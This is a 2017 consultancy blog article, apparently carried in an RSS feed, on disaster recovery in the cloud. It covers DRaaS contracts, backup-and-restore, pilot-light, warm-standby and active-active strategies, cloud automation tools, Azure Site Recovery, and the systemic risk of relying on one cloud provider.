<p>Cloud disaster recovery providers are referred to by the acronym DRaaS: <em>Disaster Recovery as a Service</em>. Initially, DRaaS providers offered cloud-based IS disaster recovery of an “on premise” datacenter. But, today, they also offer to provide recovery for infrastructure already in the cloud, such as AWS or Azure. Levels of maturity remain very variable, depending on the provider and which cloud is used. Some DRaaS providers require that their own cloud is used for recovery, which means they cannot offer a PaaS recovery service.</p>
<p>As with SaaS, there are <strong>no</strong> <strong>default contractual provisions.</strong> Therefore, any guarantees required for data loss or recovery time will need to be negotiated. Suppliers generally promise to be able to tailor their offer to the customer’s requirements! To ensure that the recovery performs correctly, the customer must plan for <strong>disaster recovery tests </strong>to be carried out regularly (we recommend once a year).</p>
<p>&nbsp;</p>
<h3>Operating your own disaster recovery plan, using tools offered by the supplier</h3>
<p>For &#8220;on-premise” infrastructure, you will need to think about, and define, your DRP strategy right from the design phase. This strategy must include the option of performing tests to ensure a sufficient level of confidence in your plan.</p>
<p>Implementation can be simplified by the tools offered by cloud providers, and the high levels of standardization in cloud environments. The major players have set out, in white papers, the key guidelines to follow in pursuing such a project (for example, <a href="https://d0.awsstatic.com/International/fr_FR/whitepapers/aws-disaster-recovery.pdf.pdf">AWS</a> and <a href="https://docs.microsoft.com/en-us/azure/architecture/resiliency/disaster-recovery-azure-applications">Azure</a>).</p>
<p><strong>Conceptually, these DRP strategies remain close to those used in “on-premise” data centers.</strong></p>
<p>There are four main ones:</p>
<ul>
<li><strong>backup and restore</strong>: simple backups of data and images of machines on a remote site, which are restored if an incident occurs;</li>
<li><strong>pilot light</strong>: replication of databases and the provision of machines, in the form of images, ready to be used if an incident occurs;</li>
<li><strong>warm standby</strong>: full replication of the main site (data and machines); the recovery site is undersized in performance terms but ready to scale up if an incident occurs;</li>
<li><strong>multi-site (or active-active)</strong>: the two sites are identical and share the load from users. If an incident occurs, the remaining site can scale up to cover all users.</li>
</ul>
<p>Hybrid solutions that are better designed to take account of recovery time requirements, and cost and complexity considerations, can also be considered.</p>
<p><strong>The real contribution that the cloud can make to DRP is the numerous tools that it can offer to simplify its implementation and activation.</strong></p>
<p>As a result, data replication can be simplified for asynchronous geo-replication options (where multiple copies are replicated to other regions). The RPO varies, depending on the types of data and tools involved. Aside from this option, local data redundancy is almost always included.</p>
<p>The high degree of standardization also makes it possible to automate the recovery: the scripts or APIs made available by providers make it possible to automate deployment of infrastructures, resize instances (according to previously defined configuration), distribute loads and traffic, carry out IP addressing, etc., in order to considerably speed up a backup site’s activation time.</p>
<p>The monitoring and alert tools, which are also on offer, are intended to facilitate in-service support and can be used to detect an incident in the shortest possible time, or in some cases, partially automate the activation of a backup site.</p>
<p>Lastly, this ability to provision new resources within a few minutes enables the associated OPEX to be minimized. <strong>By using such a strategy, it’s possible to make gains of 40 to 70% on the cost of DRP infrastructure.</strong></p>
<p>&nbsp;</p>
<h3>Toward greater support by providers?</h3>
<p>During 2017, Azure is planning to offer an <a href="https://docs.microsoft.com/fr-fr/azure/site-recovery/site-recovery-azure-to-azure">option</a> to provide recovery for virtual machines hosted on its platform by enhancing its &#8220;Site Recovery&#8221; service. In fact, &#8220;Site Recovery&#8221;, in its current form, offers to support traditional site backup, by using the Azure cloud to host the secondary site, but Microsoft wants to extend this service to provide a Recovery as a Service option. This tool would allow the automatic deployment of the secondary site (of the active-passive type), automatic data replication, and easier testing.</p>
<p>This option was available as a &#8220;public preview&#8221; at the end of May 2017. There is no equivalent project in train from the other main IaaS/PaaS providers.</p>
<p>&nbsp;</p>
<h2>THE CLOUD AND PROVIDER SYSTEMIC RISK</h2>
<p>Backup of cloud-based services is dealt with differently, depending on the type of service used. SaaS recovery must be managed through contracts and are the responsibility of the provider, while IaaS/PaaS recovery, simplified by the tools available, remains the responsibility of the customer.</p>
<p>There is a risk of the widespread failure of a provider’s hosting region as recent incidents have shown. Even though these incidents have been short-lived, or have had minor impacts, the possibility of widespread failure cannot be ignored. The issue of cyber-resilience, then, must still be dealt with. Using a second cloud provider can cover the risk of destruction, or a major outage of a first provider’s infrastructure. This solution is very complex because portability between providers is a difficult issue. For now, there are few companies that have risked it, although  <a href="http://www.usine-digitale.fr/article/snap-se-repose-sur-le-cloud-d-amazon-pour-la-redondance-de-son-systeme-d-information.N499899">Snapchat</a> is an example: it uses Google’s cloud for its production, and plans to use Amazon’s for its DRP within five years.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2017/12/cloud-end-backup-new-way/">The Cloud: The end of IT backup &#8211; or a new way of doing it?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
